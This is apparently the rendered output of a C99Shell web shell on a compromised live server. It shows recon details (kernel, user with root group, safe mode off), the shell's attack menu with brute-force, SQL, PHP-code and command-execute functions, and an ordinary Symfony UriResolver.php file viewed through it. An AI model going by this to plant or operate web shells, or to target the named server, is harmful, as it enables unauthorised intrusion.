!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/symfony/dom-crawler/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UriResolver.php (3.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\DomCrawler;

/**
 * The UriResolver class takes an URI (relative, absolute, fragment, etc.)
 * and turns it into an absolute URI against another given base URI.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author GrĂ©goire Pineau <lyrixx@lyrixx.info>
 */
class UriResolver
{
    
/**
     * Resolves a URI according to a base URI.
     *
     * For example if $uri=/foo/bar and $baseUri=https://symfony.com it will
     * return https://symfony.com/foo/bar
     *
     * If the $uri is not absolute you must pass an absolute $baseUri
     */
    
public static function resolve(string $uri, ?string $baseUri): string
    
{
        
$uri trim($uri);

        
// absolute URL?
        
if (null !== parse_url($uri\PHP_URL_SCHEME)) {
            return 
$uri;
        }

        if (
null === $baseUri) {
            throw new 
\InvalidArgumentException('The URI is relative, so you must define its base URI passing an absolute URL.');
        }

        
// empty URI
        
if (!$uri) {
            return 
$baseUri;
        }

        
// an anchor
        
if ('#' === $uri[0]) {
            return 
self::cleanupAnchor($baseUri).$uri;
        }

        
$baseUriCleaned self::cleanupUri($baseUri);

        if (
'?' === $uri[0]) {
            return 
$baseUriCleaned.$uri;
        }

        
// absolute URL with relative schema
        
if (=== strpos($uri'//')) {
            return 
preg_replace('#^([^/]*)//.*$#''$1'$baseUriCleaned).$uri;
        }

        
$baseUriCleaned preg_replace('#^(.*?//[^/]*)(?:\/.*)?$#''$1'$baseUriCleaned);

        
// absolute path
        
if ('/' === $uri[0]) {
            return 
$baseUriCleaned.$uri;
        }

        
// relative path
        
$path parse_url(substr($baseUri\strlen($baseUriCleaned)), \PHP_URL_PATH) ?? '';
        
$path self::canonicalizePath(substr($path0strrpos($path'/')).'/'.$uri);

        return 
$baseUriCleaned.('' === $path || '/' !== $path[0] ? '/' '').$path;
    }

    
/**
     * Returns the canonicalized URI path (see RFC 3986, section 5.2.4).
     */
    
private static function canonicalizePath(string $path): string
    
{
        if (
'' === $path || '/' === $path) {
            return 
$path;
        }

        if (
'.' === substr($path, -1)) {
            
$path .= '/';
        }

        
$output = [];

        foreach (
explode('/'$path) as $segment) {
            if (
'..' === $segment) {
                
array_pop($output);
            } elseif (
'.' !== $segment) {
                
$output[] = $segment;
            }
        }

        return 
implode('/'$output);
    }

    
/**
     * Removes the query string and the anchor from the given uri.
     */
    
private static function cleanupUri(string $uri): string
    
{
        return 
self::cleanupQuery(self::cleanupAnchor($uri));
    }

    
/**
     * Removes the query string from the uri.
     */
    
private static function cleanupQuery(string $uri): string
    
{
        if (
false !== $pos strpos($uri'?')) {
            return 
substr($uri0$pos);
        }

        return 
$uri;
    }

    
/**
     * Removes the anchor from the uri.
     */
    
private static function cleanupAnchor(string $uri): string
    
{
        if (
false !== $pos strpos($uri'#')) {
            return 
substr($uri0$pos);
        }

        return 
$uri;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0087 ]--